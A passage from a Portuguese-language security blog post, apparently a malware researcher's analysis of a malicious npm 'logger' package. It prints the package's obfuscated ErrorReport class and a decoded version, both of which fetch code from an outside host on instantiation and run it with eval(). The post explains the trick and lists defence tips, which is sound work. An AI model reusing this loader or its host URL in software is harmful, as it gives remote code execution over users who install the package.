    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "axios": "^1.5.0"
  },
  "keywords": [
    "logger"
  ],
  "author": "crouch",
  "license": "ISC",
  "description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}

Não se encontram ganchos para o ciclo de vida. Isso é um pouco estranho. Mas para uma biblioteca de logs, é um pouco estranho ver uma dependência de áxisque é utilizado para efetuar pedidos HTTP. A partir daí, vamos para o index.js e é apenas um ficheiro que importa src/logger.js. Vamos lá ver isso.

const ErrorReport = require("./lib/report");

class Logger {
  constructor() {
    this.level = 'info';
    this.output = null;
    this.report = new ErrorReport();
  }

  configure({ level, output }) {
    this.level = level || 'info';
    this.output = output ? path.resolve(output) : null;
  }

  log(level, message) {
    const timestamp = new Date().toISOString();
    const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;

    console.log(logMessage);
  }

  info(message) {
    this.log('info', message);
  }

  warn(message) {
    this.log('warn', message);
  }

  error(error) {
    this.log('error', error.stack || error.toString());
  }

  debug(message) {
    if (this.level === 'debug') {
      this.log('debug', message);
    }
  }
}

module.exports = Logger;

Nada se destaca aqui à primeira vista, mas o que é que se passa com a importação de Relatório de erros e ela ser instanciada no construtor sem ser usada? Vamos ver o que a classe faz.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr("");
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('72657175697265'),
            g('6178696f73'),
            g('676574'),
            g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
            g('7468656e'),
        ];
        
        const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Há muito mais a acontecer aqui. Há alguma ofuscação a acontecer aqui, por isso aqui está uma versão simplificada.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr(""); // 
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('require'),
            g('axios'),
            g('get'),
            g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
            g('then'),
        ];
        
        const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Agora é muito mais claro o que este código está a fazer. No construtor, ele é chamado de reportErr sem uma mensagem de erro. A função é ofuscada, contendo as partes necessárias para importar áxis, efetuar um pedido de obtenção e, em seguida, chamar eval() nos dados devolvidos. Assim, a biblioteca ajuda-o, de certa forma, com o registo. Mas talvez seja um pouco útil demais, pois ela também executa um código inesperado em tempo de execução quando o Registador é instanciada.

🛡️ Dicas de defesa

Para se defender de pacotes como este:

  • Auditar sempre os ganchos do ciclo de vida em package.json. São um vetor de ataque comum.
  • Verifique o repo em relação ao nome do pacote - diferenças subtis de nome significam muitas vezes problemas.
  • Desconfie de ofuscação, código minificado ou blobs base64 dentro de pacotes pequenos.
  • Utilize ferramentas como Aikdio Intel para identificar pacotes duvidosos.
  • Congelar as dependências de produção com lockfiles (package-lock.json).
  • Utilize um espelho de registo privado ou uma firewall de pacotes (por exemplo, Artifactory, Snyk Broker) para controlar o que entra na sua cadeia de fornecimento.

Escrito por Charlie Eriksen

Investigador de malware

Partilhar:

https://www.aikido.dev/blog/the-malware-dating-guide-understanding-the-types-of-malware-on-npm

Índice:
Ligação de texto
Partilhar:
Utilizar o teclado
Utilizar a tecla esquerda para navegar para a página anterior do Aikido
Utilizar a tecla de seta para a direita para navegar para o diapositivo seguinte
para navegar pelos artigos
Por
Charlie Eriksen

Está convidado: Distribuir malware através de convites do Google Calendar e PUAs

Malware
13 de maio de 2025
Ler mais
Por
Mackenzie Jackson

Por que atualizar imagens de base de contêineres é tão difícil (e como torná-lo mais fácil)

Engenharia
12 de maio de 2025
Ler mais
Por
Charlie Eriksen

RATatatouille: Uma receita maliciosa escondida no rand-user-agent (Supply Chain Compromise)

6 de maio de 2025
Ler mais
Por
Charlie Eriksen

Ataque à cadeia de fornecimento de XRP: Pacote oficial do NPM infetado com backdoor de roubo de criptografia

Malware
22 de abril de 2025
Ler mais
Por
Charlie Eriksen

Esconder-se e falhar: Malware ofuscado, cargas úteis vazias e travessuras do npm

Malware
3 de abril de 2025
Ler mais
Por
Madeline Lawrence

Lançamento do malware Aikido - Open Source Threat Feed

Notícias
31 de março de 2025
Ler mais
Por
Charlie Eriksen

Malware escondido à vista de todos: Espionagem de hackers norte-coreanos

31 de março de 2025
Ler mais
Por
A equipa de Aikido

Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025

Guias
27 de março de 2025
Ler mais
Por
Madeline Lawrence

Obter o TL;DR: tj-actions/changed-files Ataque à cadeia de abastecimento

Notícias
16 de março de 2025
Ler mais
Por
Mackenzie Jackson

Uma lista de verificação de segurança do Docker sem barreiras para o programador preocupado com as vulnerabilidades

Guias
6 de março de 2025
Ler mais
Por
Mackenzie Jackson

Deteção e bloqueio de ataques de injeção de SQL em JavaScript

Guias
4 de março de 2025
Ler mais
Por
Floris Van den Abeele

Prisma e PostgreSQL vulneráveis à injeção NoSQL? Um risco de segurança surpreendente explicado

Engenharia
14 de fevereiro de 2025
Ler mais
Por
A equipa de Aikido

Principais ferramentas de teste de segurança de aplicativos dinâmicos (DAST) em 2025

Guias
12 de fevereiro de 2025
Ler mais
Por
Willem Delbare

Lançando o Opengrep | Por que fizemos o fork do Semgrep

Notícias
24 de janeiro de 2025
Ler mais
Por
Thomas Segura

O seu cliente necessita de correção da vulnerabilidade NIS2. E agora?

14 de janeiro de 2025
Ler mais
Por
Mackenzie Jackson

As 10 principais ferramentas SAST com IA em 2025

Guias
10 de janeiro de 2025
Ler mais
Por
Madeline Lawrence

Snyk vs Aikido Security | G2 Reviews Alternativa ao Snyk

Guias
10 de janeiro de 2025
Ler mais
Por
Mackenzie Jackson

As 10 principais ferramentas de análise de composição de software (SCA) em 2025

Guias
9 de janeiro de 2025
Ler mais
Por
Michiel Denis

3 passos fundamentais para reforçar a conformidade e a gestão do risco

27 de dezembro de 2024
Ler mais
Por
Mackenzie Jackson

O guia de código aberto da startup para segurança de aplicações

Guias
23 de dezembro de 2024
Ler mais
Por
Madeline Lawrence

Iniciar o Aikido para a IA do Cursor

Engenharia
13 de dezembro de 2024
Ler mais
Por
Mackenzie Jackson

Conheça a Intel: O feed de ameaças de código aberto do Aikido alimentado por LLMs.

Engenharia
13 de dezembro de 2024
Ler mais
Por
Johan De Keulenaer

Aikido junta-se à Rede de Parceiros AWS

Notícias
26 de novembro de 2024
Ler mais
Por
Mackenzie Jackson

Injeção de comando em 2024 descompactado

Engenharia
24 de novembro de 2024
Ler mais
Por
Mackenzie Jackson

Path Traversal em 2024 - O ano em aberto

Engenharia
23 de novembro de 2024
Ler mais
Por
Mackenzie Jackson

Equilíbrio de segurança: Quando utilizar ferramentas de código aberto vs. ferramentas comerciais

Guias
15 de novembro de 2024
Ler mais
Por
Mackenzie Jackson

O estado da injeção de SQL

Guias
8 de novembro de 2024
Ler mais
Por
Michiel Denis

O reforço da segurança da Visma com o Aikido: Uma conversa com Nikolai Brogaard

Notícias
6 de novembro de 2024
Ler mais
Por
Michiel Denis

Segurança em FinTech: Perguntas e respostas com Dan Kindler, cofundador e CTO da Bound

Notícias
10 de outubro de 2024
Ler mais
Por
Félix Garriau

As 7 principais ferramentas ASPM em 2025

Guias
1 de outubro de 2024
Ler mais
Por
Madeline Lawrence

Automatizar a conformidade com SprintoGRC x Aikido

Notícias
11 de setembro de 2024
Ler mais
Por
Félix Garriau

Como criar um SBOM para auditorias de software

Guias
9 de setembro de 2024
Ler mais
Por
Madeline Lawrence

SAST vs DAST: O que é preciso saber.

Guias
2 de setembro de 2024
Ler mais
Por
Félix Garriau

Melhores ferramentas SBOM para desenvolvedores: Nossas 2025 escolhas

Guias
7 de agosto de 2024
Ler mais
Por
Lieven Oosterlinck

5 alternativas ao Snyk e por que razão são melhores

Notícias
5 de agosto de 2024
Ler mais
Por
Madeline Lawrence

Porque é que estamos entusiasmados com a parceria com a Laravel

Notícias
8 de julho de 2024
Ler mais
Por
Félix Garriau

110 000 sítios afectados pelo ataque à cadeia de abastecimento Polyfill

Notícias
27 de junho de 2024
Ler mais
Por
Félix Garriau

Fundamentos de cibersegurança para empresas de tecnologia jurídica

Notícias
25 de junho de 2024
Ler mais
Por
Roeland Delrue

Integração do Drata - Como automatizar a gestão de vulnerabilidades técnicas

Guias
18 de junho de 2024
Ler mais
Por
Joel Hans

Guia de bricolage: "Construir ou comprar" o seu kit de ferramentas de segurança de aplicações e de digitalização de códigos OSS

Guias
11 de junho de 2024
Ler mais
Por
Roeland Delrue

Certificação SOC 2: 5 coisas que aprendemos

Guias
4 de junho de 2024
Ler mais
Por
Joel Hans

Os 10 principais problemas de segurança das aplicações e como se proteger

Guias
28 de maio de 2024
Ler mais
Por
Madeline Lawrence

Acabámos de angariar 17 milhões de dólares para a Série A

Notícias
2 de maio de 2024
Ler mais
Por

As melhores ferramentas RASP para programadores em 2025

10 de abril de 2024
Ler mais
Por
Willem Delbare

Lista de verificação da segurança do webhook: Como criar webhooks seguros

Guias
4 de abril de 2024
Ler mais
Por
Willem Delbare

A cura para a síndrome de fadiga dos alertas de segurança

Engenharia
21 de fevereiro de 2024
Ler mais
Por
Roeland Delrue

NIS2: Quem é afetado?

Guias
16 de janeiro de 2024
Ler mais
Por
Roeland Delrue

Certificação ISO 27001: 8 coisas que aprendemos

Guias
5 de dezembro de 2023
Ler mais
Por
Roeland Delrue

O Cronos Group escolhe a Aikido Security para reforçar a postura de segurança das suas empresas e clientes

Notícias
30 de novembro de 2023
Ler mais
Por
Bart Jonckheere

Como é que a Loctax utiliza o Aikido Security para se livrar de alertas de segurança irrelevantes e falsos positivos

Notícias
22 de novembro de 2023
Ler mais
Por
Félix Garriau

A Aikido Security angaria 5 milhões de euros para oferecer uma solução de segurança sem descontinuidades às empresas SaaS em crescimento

Notícias
9 de novembro de 2023
Ler mais
Por
Roeland Delrue

Aikido Security atinge a conformidade com a norma ISO 27001:2022

Notícias
8 de novembro de 2023
Ler mais
Por
Félix Garriau

Como o CTO da StoryChief usa o Aikido Security para dormir melhor à noite

Notícias
24 de outubro de 2023
Ler mais
Por
Willem Delbare

O que é um CVE?

Guias
17 de outubro de 2023
Ler mais
Por
Félix Garriau

Melhores ferramentas para deteção de fim de vida: classificações de 2025

Guias
4 de outubro de 2023
Ler mais
Por
Willem Delbare

As 3 principais vulnerabilidades de segurança das aplicações Web em 2024

Engenharia
27 de setembro de 2023
Ler mais
Por
Félix Garriau

Novas funcionalidades de segurança do Aikido: agosto de 2023

Notícias
22 de agosto de 2023
Ler mais
Por
Félix Garriau

Lista de verificação de segurança do CTO SaaS 2025 da Aikido

Notícias
10 de agosto de 2023
Ler mais
Por
Félix Garriau

Lista de verificação de segurança SaaS CTO 2024 da Aikido

Notícias
10 de agosto de 2023
Ler mais
Por
Félix Garriau

15 principais desafios de segurança de código e nuvem revelados pelos CTOs

Engenharia
25 de julho de 2023
Ler mais
Por
Willem Delbare

O que é o OWASP Top 10?

Guias
12 de julho de 2023
Ler mais
Por
Willem Delbare

Como criar um painel de administração seguro para a sua aplicação SaaS

Guias
11 de julho de 2023
Ler mais
Por
Roeland Delrue

Como se preparar para a ISO 27001:2022

Guias
5 de julho de 2023
Ler mais
Por
Willem Delbare

Prevenir as consequências da pirataria informática da sua plataforma CI/CD

Guias
19 de junho de 2023
Ler mais
Por
Félix Garriau

Como fechar negócios mais rapidamente com um relatório de avaliação de segurança

Notícias
12 de junho de 2023
Ler mais
Por
Willem Delbare

Automatizar a gestão de vulnerabilidades técnicas [SOC 2]

Guias
5 de junho de 2023
Ler mais
Por
Willem Delbare

Prevenir a poluição de protótipos no seu repositório

Guias
1 de junho de 2023
Ler mais
Por
Willem Delbare

Como é que um CTO de uma startup SaaS consegue equilibrar a velocidade de desenvolvimento e a segurança?

Guias
16 de maio de 2023
Ler mais
Por
Willem Delbare

Como a nuvem de uma startup foi dominada por um simples formulário que envia e-mails

Engenharia
10 de abril de 2023
Ler mais
Por
Félix Garriau

A Aikido Security angaria 2 milhões de euros de pré-semente para criar uma plataforma de segurança de software para programadores

Notícias
19 de janeiro de 2023
Ler mais
Por

Porque é que os ficheiros de bloqueio são importantes para a segurança da cadeia de abastecimento

Ler mais
Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025
Por
A equipa de Aikido

Principais ferramentas de gerenciamento de postura de segurança na nuvem (CSPM) em 2025

Guias
14 de maio de 2025
Principais ferramentas de teste de segurança de aplicativos dinâmicos (DAST) em 2025
Por
A equipa de Aikido

Principais ferramentas de teste de segurança de aplicativos dinâmicos (DAST) em 2025

Guias
14 de maio de 2025
Ataque à cadeia de fornecimento de XRP: Pacote oficial do NPM infetado com backdoor de roubo de criptografia
Por
Charlie Eriksen

Ataque à cadeia de fornecimento de XRP: Pacote oficial do NPM infetado com backdoor de roubo de criptografia

Malware
31 de março de 2025

Obter segurança em 32 segundos

Ligue a sua conta GitHub, GitLab, Bitbucket ou Azure DevOps para começar a analisar os seus repositórios gratuitamente.

Comece de graça
Os seus dados não serão partilhados - Acesso só de leitura
Painel de controlo do Aikido
Empresa
ProdutoPreçosSobreCarreirasContactoSeja nosso parceiro
Recursos
DocumentosDocumentos públicos da APIBase de dados de vulnerabilidadesBlogueIntegraçõesGlossárioKit de imprensaComentários de clientes
Segurança
Centro de ConfiançaVisão geral da segurançaAlterar as preferências de cookies
Jurídico
Política de privacidadePolítica de cookiesTermos de utilizaçãoContrato Principal de SubscriçãoAcordo de processamento de dados
Casos de utilização
ConformidadeSAST E DASTASPMGestão de vulnerabilidadesGerar SBOMsSegurança do WordPressProteja o seu códigoAikido para a Microsoft
Indústrias
Para a HealthTechPara a MedTechPara a FinTechPara SecurityTechPara a LegalTechPara HRTechPara as agênciasPara empresasPara empresas de capital de risco e de grupo
Comparar
vs Todos os fornecedorescontra Snykcontra Wizvs Mendvs Orca Securityvs Veracodevs Segurança avançada do GitHubvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
Ligar
hello@aikido.dev
LinkedInX
Subscrever
Mantenha-se a par de todas as actualizações
Ainda não é o caso.
👋🏻 Obrigado! Está inscrito.
Equipa de Aikido
Ainda não é o caso.
© 2025 Aikido Security BV | BE0792914919
🇪🇺 Endereço registado: Coupure Rechts 88, 9000, Ghent, Bélgica
🇪🇺 Endereço do escritório: Gebroeders van Eyckstraat 2, 9000, Ghent, Bélgica
🇺🇸 Endereço do escritório: 95 Third St, 2nd Fl, São Francisco, CA 94103, EUA
SOC 2
Conformidade
ISO 27001
Conformidade